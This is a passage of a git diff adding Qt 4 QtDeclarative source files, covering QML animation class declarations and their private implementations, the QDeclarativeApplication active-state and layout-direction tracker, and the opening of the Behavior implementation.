+class QDeclarativePropertyAnimationPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativePropertyAnimation : public QDeclarativeAbstractAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePropertyAnimation)
+
+ Q_PROPERTY(int duration READ duration WRITE setDuration NOTIFY durationChanged)
+ Q_PROPERTY(QVariant from READ from WRITE setFrom NOTIFY fromChanged)
+ Q_PROPERTY(QVariant to READ to WRITE setTo NOTIFY toChanged)
+ Q_PROPERTY(QEasingCurve easing READ easing WRITE setEasing NOTIFY easingChanged)
+ Q_PROPERTY(QObject *target READ target WRITE setTarget NOTIFY targetChanged)
+ Q_PROPERTY(QString property READ property WRITE setProperty NOTIFY propertyChanged)
+ Q_PROPERTY(QString properties READ properties WRITE setProperties NOTIFY propertiesChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QObject> targets READ targets)
+ Q_PROPERTY(QDeclarativeListProperty<QObject> exclude READ exclude)
+
+public:
+ QDeclarativePropertyAnimation(QObject *parent=0);
+ virtual ~QDeclarativePropertyAnimation();
+
+ virtual int duration() const;
+ virtual void setDuration(int);
+
+ QVariant from() const;
+ void setFrom(const QVariant &);
+
+ QVariant to() const;
+ void setTo(const QVariant &);
+
+ QEasingCurve easing() const;
+ void setEasing(const QEasingCurve &);
+
+ QObject *target() const;
+ void setTarget(QObject *);
+
+ QString property() const;
+ void setProperty(const QString &);
+
+ QString properties() const;
+ void setProperties(const QString &);
+
+ QDeclarativeListProperty<QObject> targets();
+ QDeclarativeListProperty<QObject> exclude();
+
+protected:
+ QDeclarativePropertyAnimation(QDeclarativePropertyAnimationPrivate &dd, QObject *parent);
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation();
+
+Q_SIGNALS:
+ void durationChanged(int);
+ void fromChanged(QVariant);
+ void toChanged(QVariant);
+ void easingChanged(const QEasingCurve &);
+ void propertiesChanged(const QString &);
+ void targetChanged();
+ void propertyChanged();
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeColorAnimation : public QDeclarativePropertyAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePropertyAnimation)
+ Q_PROPERTY(QColor from READ from WRITE setFrom)
+ Q_PROPERTY(QColor to READ to WRITE setTo)
+
+public:
+ QDeclarativeColorAnimation(QObject *parent=0);
+ virtual ~QDeclarativeColorAnimation();
+
+ QColor from() const;
+ void setFrom(const QColor &);
+
+ QColor to() const;
+ void setTo(const QColor &);
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeNumberAnimation : public QDeclarativePropertyAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePropertyAnimation)
+
+ Q_PROPERTY(qreal from READ from WRITE setFrom)
+ Q_PROPERTY(qreal to READ to WRITE setTo)
+
+public:
+ QDeclarativeNumberAnimation(QObject *parent=0);
+ virtual ~QDeclarativeNumberAnimation();
+
+ qreal from() const;
+ void setFrom(qreal);
+
+ qreal to() const;
+ void setTo(qreal);
+
+protected:
+ QDeclarativeNumberAnimation(QDeclarativePropertyAnimationPrivate &dd, QObject *parent);
+
+private:
+ void init();
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeVector3dAnimation : public QDeclarativePropertyAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePropertyAnimation)
+
+ Q_PROPERTY(QVector3D from READ from WRITE setFrom)
+ Q_PROPERTY(QVector3D to READ to WRITE setTo)
+
+public:
+ QDeclarativeVector3dAnimation(QObject *parent=0);
+ virtual ~QDeclarativeVector3dAnimation();
+
+ QVector3D from() const;
+ void setFrom(QVector3D);
+
+ QVector3D to() const;
+ void setTo(QVector3D);
+};
+
+class QDeclarativeRotationAnimationPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeRotationAnimation : public QDeclarativePropertyAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeRotationAnimation)
+ Q_ENUMS(RotationDirection)
+
+ Q_PROPERTY(qreal from READ from WRITE setFrom)
+ Q_PROPERTY(qreal to READ to WRITE setTo)
+ Q_PROPERTY(RotationDirection direction READ direction WRITE setDirection NOTIFY directionChanged)
+
+public:
+ QDeclarativeRotationAnimation(QObject *parent=0);
+ virtual ~QDeclarativeRotationAnimation();
+
+ qreal from() const;
+ void setFrom(qreal);
+
+ qreal to() const;
+ void setTo(qreal);
+
+ enum RotationDirection { Numerical, Shortest, Clockwise, Counterclockwise };
+ RotationDirection direction() const;
+ void setDirection(RotationDirection direction);
+
+Q_SIGNALS:
+ void directionChanged();
+};
+
+class QDeclarativeAnimationGroupPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeAnimationGroup : public QDeclarativeAbstractAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeAnimationGroup)
+
+ Q_CLASSINFO("DefaultProperty", "animations")
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeAbstractAnimation> animations READ animations)
+
+public:
+ QDeclarativeAnimationGroup(QObject *parent);
+ virtual ~QDeclarativeAnimationGroup();
+
+ QDeclarativeListProperty<QDeclarativeAbstractAnimation> animations();
+ friend class QDeclarativeAbstractAnimation;
+
+protected:
+ QDeclarativeAnimationGroup(QDeclarativeAnimationGroupPrivate &dd, QObject *parent);
+};
+
+class QDeclarativeSequentialAnimation : public QDeclarativeAnimationGroup
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeAnimationGroup)
+
+public:
+ QDeclarativeSequentialAnimation(QObject *parent=0);
+ virtual ~QDeclarativeSequentialAnimation();
+
+protected:
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation();
+};
+
+class QDeclarativeParallelAnimation : public QDeclarativeAnimationGroup
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeAnimationGroup)
+
+public:
+ QDeclarativeParallelAnimation(QObject *parent=0);
+ virtual ~QDeclarativeParallelAnimation();
+
+protected:
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation();
+};
+
+class QDeclarativeParentAnimationPrivate;
+class QDeclarativeParentAnimation : public QDeclarativeAnimationGroup
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeParentAnimation)
+
+ Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget NOTIFY targetChanged)
+ Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent NOTIFY newParentChanged)
+ Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia NOTIFY viaChanged)
+
+public:
+ QDeclarativeParentAnimation(QObject *parent=0);
+ virtual ~QDeclarativeParentAnimation();
+
+ QDeclarativeItem *target() const;
+ void setTarget(QDeclarativeItem *);
+
+ QDeclarativeItem *newParent() const;
+ void setNewParent(QDeclarativeItem *);
+
+ QDeclarativeItem *via() const;
+ void setVia(QDeclarativeItem *);
+
+Q_SIGNALS:
+ void targetChanged();
+ void newParentChanged();
+ void viaChanged();
+
+protected:
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation();
+};
+
+class QDeclarativeAnchorAnimationPrivate;
+class QDeclarativeAnchorAnimation : public QDeclarativeAbstractAnimation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeAnchorAnimation)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeItem> targets READ targets)
+ Q_PROPERTY(int duration READ duration WRITE setDuration NOTIFY durationChanged)
+ Q_PROPERTY(QEasingCurve easing READ easing WRITE setEasing NOTIFY easingChanged)
+
+public:
+ QDeclarativeAnchorAnimation(QObject *parent=0);
+ virtual ~QDeclarativeAnchorAnimation();
+
+ QDeclarativeListProperty<QDeclarativeItem> targets();
+
+ int duration() const;
+ void setDuration(int);
+
+ QEasingCurve easing() const;
+ void setEasing(const QEasingCurve &);
+
+Q_SIGNALS:
+ void durationChanged(int);
+ void easingChanged(const QEasingCurve&);
+
+protected:
+ virtual void transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction);
+ virtual QAbstractAnimation *qtAnimation();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeAbstractAnimation)
+QML_DECLARE_TYPE(QDeclarativePauseAnimation)
+QML_DECLARE_TYPE(QDeclarativeScriptAction)
+QML_DECLARE_TYPE(QDeclarativePropertyAction)
+QML_DECLARE_TYPE(QDeclarativePropertyAnimation)
+QML_DECLARE_TYPE(QDeclarativeColorAnimation)
+QML_DECLARE_TYPE(QDeclarativeNumberAnimation)
+QML_DECLARE_TYPE(QDeclarativeSequentialAnimation)
+QML_DECLARE_TYPE(QDeclarativeParallelAnimation)
+QML_DECLARE_TYPE(QDeclarativeVector3dAnimation)
+QML_DECLARE_TYPE(QDeclarativeRotationAnimation)
+QML_DECLARE_TYPE(QDeclarativeParentAnimation)
+QML_DECLARE_TYPE(QDeclarativeAnchorAnimation)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEANIMATION_H
diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h
new file mode 100644
index 00000000..24e10884
--- /dev/null
+++ b/src/declarative/util/qdeclarativeanimation_p_p.h
@@ -0,0 +1,397 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEANIMATION_P_H
+#define QDECLARATIVEANIMATION_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeanimation_p.h"
+
+#include "private/qdeclarativenullablevalue_p_p.h"
+#include "private/qdeclarativetimeline_p_p.h"
+
+#include <qdeclarative.h>
+#include <qdeclarativeitem.h>
+#include <qdeclarativecontext.h>
+
+#include <QtCore/QPauseAnimation>
+#include <QtCore/QVariantAnimation>
+#include <QtCore/QAnimationGroup>
+#include <QtGui/QColor>
+#include <QDebug>
+
+#include <private/qobject_p.h>
+#include <private/qvariantanimation_p.h>
+
+QT_BEGIN_NAMESPACE
+
+//interface for classes that provide animation actions for QActionAnimation
+class QAbstractAnimationAction
+{
+public:
+ virtual ~QAbstractAnimationAction() {}
+ virtual void doAction() = 0;
+};
+
+//templated animation action
+//allows us to specify an action that calls a function of a class.
+//(so that class doesn't have to inherit QDeclarativeAbstractAnimationAction)
+template<class T, void (T::*method)()>
+class QAnimationActionProxy : public QAbstractAnimationAction
+{
+public:
+ QAnimationActionProxy(T *p) : m_p(p) {}
+ virtual void doAction() { (m_p->*method)(); }
+
+private:
+ T *m_p;
+};
+
+//performs an action of type QAbstractAnimationAction
+class Q_AUTOTEST_EXPORT QActionAnimation : public QAbstractAnimation
+{
+ Q_OBJECT
+public:
+ QActionAnimation(QObject *parent = 0) : QAbstractAnimation(parent), animAction(0), policy(KeepWhenStopped) {}
+ QActionAnimation(QAbstractAnimationAction *action, QObject *parent = 0)
+ : QAbstractAnimation(parent), animAction(action), policy(KeepWhenStopped) {}
+ ~QActionAnimation() { if (policy == DeleteWhenStopped) { delete animAction; animAction = 0; } }
+ virtual int duration() const { return 0; }
+ void setAnimAction(QAbstractAnimationAction *action, DeletionPolicy p)
+ {
+ if (state() == Running)
+ stop();
+ if (policy == DeleteWhenStopped)
+ delete animAction;
+ animAction = action;
+ policy = p;
+ }
+protected:
+ virtual void updateCurrentTime(int) {}
+
+ virtual void updateState(State newState, State /*oldState*/)
+ {
+ if (newState == Running) {
+ if (animAction) {
+ animAction->doAction();
+ if (state() == Stopped && policy == DeleteWhenStopped) {
+ delete animAction;
+ animAction = 0;
+ }
+ }
+ }
+ }
+
+private:
+ QAbstractAnimationAction *animAction;
+ DeletionPolicy policy;
+};
+
+class QDeclarativeBulkValueUpdater
+{
+public:
+ virtual ~QDeclarativeBulkValueUpdater() {}
+ virtual void setValue(qreal value) = 0;
+};
+
+//animates QDeclarativeBulkValueUpdater (assumes start and end values will be reals or compatible)
+class Q_AUTOTEST_EXPORT QDeclarativeBulkValueAnimator : public QVariantAnimation
+{
+ Q_OBJECT
+public:
+ QDeclarativeBulkValueAnimator(QObject *parent = 0) : QVariantAnimation(parent), animValue(0), fromSourced(0), policy(KeepWhenStopped) {}
+ ~QDeclarativeBulkValueAnimator() { if (policy == DeleteWhenStopped) { delete animValue; animValue = 0; } }
+ void setAnimValue(QDeclarativeBulkValueUpdater *value, DeletionPolicy p)
+ {
+ if (state() == Running)
+ stop();
+ if (policy == DeleteWhenStopped)
+ delete animValue;
+ animValue = value;
+ policy = p;
+ }
+ void setFromSourcedValue(bool *value)
+ {
+ fromSourced = value;
+ }
+protected:
+ virtual void updateCurrentValue(const QVariant &value)
+ {
+ if (state() == QAbstractAnimation::Stopped)
+ return;
+
+ if (animValue)
+ animValue->setValue(value.toReal());
+ }
+ virtual void updateState(State newState, State oldState)
+ {
+ QVariantAnimation::updateState(newState, oldState);
+ if (newState == Running) {
+ //check for new from every loop
+ if (fromSourced)
+ *fromSourced = false;
+ }
+ }
+
+private:
+ QDeclarativeBulkValueUpdater *animValue;
+ bool *fromSourced;
+ DeletionPolicy policy;
+};
+
+//an animation that just gives a tick
+template<class T, void (T::*method)(int)>
+class QTickAnimationProxy : public QAbstractAnimation
+{
+ //Q_OBJECT //doesn't work with templating
+public:
+ QTickAnimationProxy(T *p, QObject *parent = 0) : QAbstractAnimation(parent), m_p(p) {}
+ virtual int duration() const { return -1; }
+protected:
+ virtual void updateCurrentTime(int msec) { (m_p->*method)(msec); }
+
+private:
+ T *m_p;
+};
+
+class QDeclarativeAbstractAnimationPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeAbstractAnimation)
+public:
+ QDeclarativeAbstractAnimationPrivate()
+ : running(false), paused(false), alwaysRunToEnd(false),
+ connectedTimeLine(false), componentComplete(true),
+ avoidPropertyValueSourceStart(false), disableUserControl(false),
+ registered(false), loopCount(1), group(0) {}
+
+ bool running:1;
+ bool paused:1;
+ bool alwaysRunToEnd:1;
+ bool connectedTimeLine:1;
+ bool componentComplete:1;
+ bool avoidPropertyValueSourceStart:1;
+ bool disableUserControl:1;
+ bool registered:1;
+
+ int loopCount;
+
+ void commence();
+
+ QDeclarativeProperty defaultProperty;
+
+ QDeclarativeAnimationGroup *group;
+
+ static QDeclarativeProperty createProperty(QObject *obj, const QString &str, QObject *infoObj);
+};
+
+class QDeclarativePauseAnimationPrivate : public QDeclarativeAbstractAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePauseAnimation)
+public:
+ QDeclarativePauseAnimationPrivate()
+ : QDeclarativeAbstractAnimationPrivate(), pa(0) {}
+
+ void init();
+
+ QPauseAnimation *pa;
+};
+
+class QDeclarativeScriptActionPrivate : public QDeclarativeAbstractAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeScriptAction)
+public:
+ QDeclarativeScriptActionPrivate();
+
+ void init();
+
+ QDeclarativeScriptString script;
+ QString name;
+ QDeclarativeScriptString runScriptScript;
+ bool hasRunScriptScript;
+ bool reversing;
+
+ void execute();
+
+ QAnimationActionProxy<QDeclarativeScriptActionPrivate,
+ &QDeclarativeScriptActionPrivate::execute> proxy;
+ QActionAnimation *rsa;
+};
+
+class QDeclarativePropertyActionPrivate : public QDeclarativeAbstractAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePropertyAction)
+public:
+ QDeclarativePropertyActionPrivate()
+ : QDeclarativeAbstractAnimationPrivate(), target(0), spa(0) {}
+
+ void init();
+
+ QObject *target;
+ QString propertyName;
+ QString properties;
+ QList<QObject *> targets;
+ QList<QObject *> exclude;
+
+ QDeclarativeNullableValue<QVariant> value;
+
+ QActionAnimation *spa;
+};
+
+class QDeclarativeAnimationGroupPrivate : public QDeclarativeAbstractAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeAnimationGroup)
+public:
+ QDeclarativeAnimationGroupPrivate()
+ : QDeclarativeAbstractAnimationPrivate(), ag(0) {}
+
+ static void append_animation(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list, QDeclarativeAbstractAnimation *role);
+ static void clear_animation(QDeclarativeListProperty<QDeclarativeAbstractAnimation> *list);
+ QList<QDeclarativeAbstractAnimation *> animations;
+ QAnimationGroup *ag;
+};
+
+class QDeclarativePropertyAnimationPrivate : public QDeclarativeAbstractAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePropertyAnimation)
+public:
+ QDeclarativePropertyAnimationPrivate()
+ : QDeclarativeAbstractAnimationPrivate(), target(0), fromSourced(false), fromIsDefined(false), toIsDefined(false),
+ rangeIsSet(false), defaultToInterpolatorType(0), interpolatorType(0), interpolator(0), va(0), actions(0) {}
+
+ void init();
+
+ QVariant from;
+ QVariant to;
+
+ QObject *target;
+ QString propertyName;
+ QString properties;
+ QList<QObject *> targets;
+ QList<QObject *> exclude;
+ QString defaultProperties;
+
+ bool fromSourced;
+ bool fromIsDefined:1;
+ bool toIsDefined:1;
+ bool rangeIsSet:1;
+ bool defaultToInterpolatorType:1;
+ int interpolatorType;
+ QVariantAnimation::Interpolator interpolator;
+
+ QDeclarativeBulkValueAnimator *va;
+
+ // for animations that don't use the QDeclarativeBulkValueAnimator
+ QDeclarativeStateActions *actions;
+
+ static QVariant interpolateVariant(const QVariant &from, const QVariant &to, qreal progress);
+ static void convertVariant(QVariant &variant, int type);
+};
+
+class QDeclarativeRotationAnimationPrivate : public QDeclarativePropertyAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeRotationAnimation)
+public:
+ QDeclarativeRotationAnimationPrivate() : direction(QDeclarativeRotationAnimation::Numerical) {}
+
+ QDeclarativeRotationAnimation::RotationDirection direction;
+};
+
+class QDeclarativeParentAnimationPrivate : public QDeclarativeAnimationGroupPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeParentAnimation)
+public:
+ QDeclarativeParentAnimationPrivate()
+ : QDeclarativeAnimationGroupPrivate(), target(0), newParent(0),
+ via(0), topLevelGroup(0), startAction(0), endAction(0) {}
+
+ QDeclarativeItem *target;
+ QDeclarativeItem *newParent;
+ QDeclarativeItem *via;
+
+ QSequentialAnimationGroup *topLevelGroup;
+ QActionAnimation *startAction;
+ QActionAnimation *endAction;
+
+ QPointF computeTransformOrigin(QDeclarativeItem::TransformOrigin origin, qreal width, qreal height) const;
+};
+
+class QDeclarativeAnchorAnimationPrivate : public QDeclarativeAbstractAnimationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeAnchorAnimation)
+public:
+ QDeclarativeAnchorAnimationPrivate() : rangeIsSet(false), va(0),
+ interpolator(QVariantAnimationPrivate::getInterpolator(QMetaType::QReal)) {}
+
+ bool rangeIsSet;
+ QDeclarativeBulkValueAnimator *va;
+ QVariantAnimation::Interpolator interpolator;
+ QList<QDeclarativeItem*> targets;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeAnimationPropertyUpdater : public QDeclarativeBulkValueUpdater
+{
+public:
+ QDeclarativeStateActions actions;
+ int interpolatorType; //for Number/ColorAnimation
+ int prevInterpolatorType; //for generic
+ QVariantAnimation::Interpolator interpolator;
+ bool reverse;
+ bool fromSourced;
+ bool fromDefined;
+ bool *wasDeleted;
+ QDeclarativeAnimationPropertyUpdater() : prevInterpolatorType(0), wasDeleted(0) {}
+ ~QDeclarativeAnimationPropertyUpdater() { if (wasDeleted) *wasDeleted = true; }
+ void setValue(qreal v);
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEANIMATION_P_H
diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp
new file mode 100644
index 00000000..af80aede
--- /dev/null
+++ b/src/declarative/util/qdeclarativeapplication.cpp
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeapplication_p.h"
+#include <private/qobject_p.h>
+#include <QtGui/QApplication>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeApplicationPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeApplication)
+public:
+ QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0),
+ layoutDirection(QApplication::layoutDirection()) {}
+ bool active;
+ Qt::LayoutDirection layoutDirection;
+};
+
+/*
+ This object and its properties are documented as part of the Qt object,
+ in qdeclarativengine.cpp
+*/
+
+QDeclarativeApplication::QDeclarativeApplication(QObject *parent) : QObject(*new QDeclarativeApplicationPrivate(), parent)
+{
+ if (qApp)
+ qApp->installEventFilter(this);
+}
+
+QDeclarativeApplication::~QDeclarativeApplication()
+{
+}
+
+bool QDeclarativeApplication::active() const
+{
+ Q_D(const QDeclarativeApplication);
+ return d->active;
+}
+
+Qt::LayoutDirection QDeclarativeApplication::layoutDirection() const
+{
+ Q_D(const QDeclarativeApplication);
+ return d->layoutDirection;
+}
+
+bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event)
+{
+ Q_UNUSED(obj)
+ Q_D(QDeclarativeApplication);
+ if (event->type() == QEvent::ApplicationActivate
+ || event->type() == QEvent::ApplicationDeactivate) {
+ bool active = d->active;
+ if (event->type() == QEvent::ApplicationActivate)
+ active = true;
+ else if (event->type() == QEvent::ApplicationDeactivate)
+ active = false;
+
+ if (d->active != active) {
+ d->active = active;
+ emit activeChanged();
+ }
+ }
+ if (event->type() == QEvent::LayoutDirectionChange) {
+ Qt::LayoutDirection direction = QApplication::layoutDirection();
+ if (d->layoutDirection != direction) {
+ d->layoutDirection = direction;
+ emit layoutDirectionChanged();
+ }
+ }
+ return false;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativeapplication_p.h b/src/declarative/util/qdeclarativeapplication_p.h
new file mode 100644
index 00000000..70852ed8
--- /dev/null
+++ b/src/declarative/util/qdeclarativeapplication_p.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEAPPLICATION_P_H
+#define QDECLARATIVEAPPLICATION_P_H
+
+#include <QtCore/QObject>
+#include <qdeclarative.h>
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeApplicationPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(bool active READ active NOTIFY activeChanged)
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged)
+
+public:
+ explicit QDeclarativeApplication(QObject *parent = 0);
+ virtual ~QDeclarativeApplication();
+ bool active() const;
+ Qt::LayoutDirection layoutDirection() const;
+
+protected:
+ bool eventFilter(QObject *obj, QEvent *event);
+
+Q_SIGNALS:
+ void activeChanged();
+ void layoutDirectionChanged();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeApplication)
+ Q_DECLARE_PRIVATE(QDeclarativeApplication)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeApplication)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEAPPLICATION_P_H
diff --git a/src/declarative/util/qdeclarativebehavior.cpp b/src/declarative/util/qdeclarativebehavior.cpp
new file mode 100644
index 00000000..8921bee6
--- /dev/null
+++ b/src/declarative/util/qdeclarativebehavior.cpp
@@ -0,0 +1,230 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativebehavior_p.h"
+
+#include "private/qdeclarativeanimation_p.h"
+#include "private/qdeclarativetransition_p.h"
+
+#include <qdeclarativecontext.h>
+#include <qdeclarativeinfo.h>
+#include <qdeclarativeproperty_p.h>
+#include <qdeclarativeguard_p.h>
+#include <qdeclarativeengine_p.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeBehaviorPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeBehavior)
+public:
+ QDeclarativeBehaviorPrivate() : animation(0), enabled(true), finalized(false)
+ , blockRunningChanged(false) {}
+
+ QDeclarativeProperty property;
+ QVariant currentValue;
+ QVariant targetValue;
+ QDeclarativeGuard<QDeclarativeAbstractAnimation> animation;
+ bool enabled;
+ bool finalized;
+ bool blockRunningChanged;
+};
+
+/*!
